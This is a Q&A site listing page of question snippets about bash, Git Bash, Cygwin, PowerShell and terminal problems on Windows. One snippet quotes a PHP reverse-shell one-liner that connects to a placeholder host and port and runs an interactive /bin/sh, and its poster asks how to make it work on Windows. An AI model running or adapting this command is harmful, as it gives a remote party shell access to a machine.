Skip to main content

All Questions

Tagged with
0 votes
0 answers
13 views

Task Scheduler Running Multiple Instances

I am encountering an issue with Task Scheduler on a Windows Server. I have a startup task that runs a program/script via Git Bash, which points to a .sh file that executes a Python script every minute....
matheww's user avatar
1 vote
2 answers
177 views

FFMpeg: How to get the real return value in bash

I've always used ffmpeg via a cmd-script and I always could check the %ERRORLEVEL% which was always '0' on success or '!0' if an error occured. I'm trying to recode my cmd-scripts in bash (using msys2 ...
lhksoft's user avatar
  • 13
0 votes
1 answer
408 views

How do I make a command line always show in front of another app

let's say I only have one monitor and I open an IDE and a powershell window. I need to type words in the IDE's current tab while watching the conent of the command line. The problem I have is, ...
user22155685's user avatar
1 vote
1 answer
111 views

git is unable to properly determine the terminal width (git-bash, windows)

As you can see in the screenshot, the terminal is currently 100 characters wide, and both methods of detecting such that I'm aware of are returning the correct value. Despite this, unless I explicitly ...
davidmwhynot's user avatar
1 vote
0 answers
94 views

ls in Docker on Windows not showing one directory

I'm running Windows Server 2016 Datacenter version 1607 (build 14393.6614) with Docker Desktop Community Version 2.0.0.3 (31259). I'm running an Ubuntu docker container in an interactive mode with my ...
user1543037's user avatar
0 votes
0 answers
1k views

Bash - node: command not found when being run in a shell script

When trying to run a node command from a .sh script I get the error node: command not found, however I can see that node is installed, running node -v shows me my current version, what could be the ...
Danyx's user avatar
  • 101
1 vote
1 answer
570 views

What's the difference between git-bash.exe and bash.exe and how they interact with Windows Terminal?

I've installed Git for Windows. I want to run git-bash in a Windows Terminal tab. I initially configured a git-bash profile, in Windows Terminal, whose Command Line field I populated with C:\Program ...
StoneThrow's user avatar
  • 1,207
-1 votes
1 answer
55 views

tsunami windows 10 curl java home environment variable error

I am setting up tsunami on Windows 10. I am following the tutorial (https://github.com/google/tsunami-security-scanner). When I run the bash command, I get the following error: ERROR: JAVA_HOME is not ...
noob832947's user avatar
0 votes
0 answers
174 views

cygwin terminal adds carriage return to bash prompt [duplicate]

Running Windows 10. Just installed Cygwin, running it in Windows Terminal, tried to change the prompt format by editing PS1 variable and exporting in .bashrc and .bash_profile: alias vim='nvim' alias ...
chenel's user avatar
  • 1
1 vote
0 answers
360 views

Creating a script for Windows 11 to gzip some files using 7-zip then move and replace them in another folder

I have the following directory structure: Parent Folder: Project Children of Project: data, rawData Inside of rawData I have: index.html, settings.html, user.html, script.js, style.css and other files....
George Florian's user avatar
0 votes
0 answers
125 views

I can't connect from Mac when I change the default shell to bash on Windows 11 SSH

I started an OpenSSH server on Windows and connected from a Mac terminal. I was able to connect when the default shell was cmd.exe, PowerShell, or GitBash, but not when I changed to bash. New-...
Masamoto Miyata's user avatar
0 votes
1 answer
2k views

Is it possible to run CrystalDiskInfo from the command line/powershell?

I want to be able to run CrystalDiskInfo from the cmd to save and analyze the data. I want to do it in a way where I can automatically run CrystalDiskInfo on a remote device and send commands based on ...
Sasha's user avatar
  • 1
1 vote
0 answers
93 views

How to make "<&3 >&3 2>&3" command works in Windows as in Linux?

I tried this commmand on Debian GNU/Linux 11 (bullseye) shell : php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");', and it worked ...
Wira Wibowo's user avatar
-2 votes
2 answers
438 views

$PATH corruption on Cygwin on Windows 10

I am running cygwin on a Windows 10 computer. If I execute $PATH from the cygwin command window, I get the following error: $ $PATH -bash: /usr/local/bin:/usr/bin:/cygdrive/c/Program: No such file or ...
Ben Blackwell's user avatar
3 votes
0 answers
1k views

I wan't to configure Windows Powershell Script execution policy precisely

Is it possible to configure the Powershell execution policy to ask the Administrator for authorization each time a Powershell script wants to run? Something like this : Windows Administrator ...
leevmealone's user avatar

15 30 50 per page
1
2 3 4 5
21